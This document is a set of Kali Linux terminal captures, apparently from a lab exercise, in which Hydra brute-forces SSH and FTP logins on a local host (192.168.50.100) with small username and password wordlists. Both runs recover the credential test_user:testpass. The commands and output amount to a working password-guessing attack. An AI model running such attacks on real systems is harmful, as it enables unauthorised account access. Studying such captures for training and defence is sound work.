

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:yVWWXk2u2t9ahwaH2zHR8ZwhL9aXhR7lC1xzSvSg/Vo.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:1: [hashed name]
  ~/.ssh/known_hosts:4: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.1.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali1 (2023-02-20) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar  2 09:24:19 2023 from 127.0.0.1
(kali㉿kali)-[~]
$
```

```
(kali㉿kali)-[~]
$ sudo service ssh start

(kali㉿kali)-[~]
$ hydra
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or
for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Syntax: hydra [[-l LOGIN|-L FILE] [-p PASS|-P FILE]] [-c C FILE] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w
TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT]/OPT
]]

Options:
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-U service module usage details
-m OPT options specific for a module, see -U output for information
-h more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-{head|get|post} http[s]
-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mss
ql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp
s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmp

Hydra is a tool to guess/crack valid login/password pairs.
Licensed under AGPL v3.0. The newest version is always available at:
https://github.com/vanhauser-thc/thc-hydra
Please don't use in military or secret service organizations, or for illegal
purposes. (This is a wish and non-binding - most such people do not care about
```

```
(kali㉿kali)-[~]
$ hydra -L /home/kali/Desktop/admin.txt -P /home/kali/Desktop/pass.txt 192.168.50.100 -t4 ssh -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organiz
ations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 10:02:06
[DATA] max 4 tasks per 1 server, overall 4 tasks, 144 login tries (l:12/p:12), ~36 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "fuoco" - 1 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "acqua" - 2 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "vino" - 3 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "testpass" - 4 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "casa" - 5 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "piscina" - 6 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "abete" - 7 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "pineta" - 8 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "mare" - 9 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "peso" - 10 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "penna" - 11 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "mouse" - 12 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "fuoco" - 13 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "acqua" - 14 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "vino" - 15 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "testpass" - 16 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "casa" - 17 of 144 [child 2] (0/0)
```

```

[ATTEMPT] target 192.168.50.100 - login "luca" - pass "abete" - 31 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "pineta" - 32 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "mare" - 33 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "peso" - 34 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "penna" - 35 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "mouse" - 36 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fuoco" - 37 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "acqua" - 38 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "vino" - 39 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 40 of 144 [child 3] (0/0)
22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "fuoco" - 49 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "acqua" - 50 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "vino" - 51 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "testpass" - 52 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "casa" - 53 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "piscina" - 54 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "abete" - 55 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "pineta" - 56 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "mare" - 57 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "peso" - 58 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "penna" - 59 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "mouse" - 60 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "albero" - pass "fuoco" - 61 of 144 [child 3] (0/0)
CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

```

```

(kali@kali)-[~]
└─$ sudo service vsftpd start

(kali@kali)-[~]
└─$ hydra -L /home/kali/Desktop/admin.txt -P /home/kali/Desktop/pass.txt 192.168.50.100 -t4 ftp -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these
** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 10:08:37
[DATA] max 4 tasks per 1 server, overall 4 tasks, 144 login tries (l:12/p:12), ~36 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "fuoco" - 1 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "acqua" - 2 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "vino" - 3 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "testpass" - 4 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "casa" - 5 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "piscina" - 6 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "abete" - 7 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "pineta" - 8 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "mare" - 9 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "peso" - 10 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "penna" - 11 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gino" - pass "mouse" - 12 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "fuoco" - 13 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "acqua" - 14 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "vino" - 15 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "testpass" - 16 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "casa" - 17 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "piscina" - 18 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "abete" - 19 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "carlo" - pass "pineta" - 20 of 144 [child 3] (0/0)

```

```

[ATTEMPT] target 192.168.50.100 - login "luca" - pass "pineta" - 32 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "mare" - 33 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "peso" - 34 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "penna" - 35 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "mouse" - 36 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fuoco" - 37 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "acqua" - 38 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "vino" - 39 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 40 of 144 [child 3] (0/0)
24][ftp] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "fuoco" - 49 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "acqua" - 50 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "vino" - 51 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "testpass" - 52 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "cinghiale" - pass "casa" - 53 of 144 [child 2] (0/0)
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

```

```

(kali@kali)-[~]
└─$

```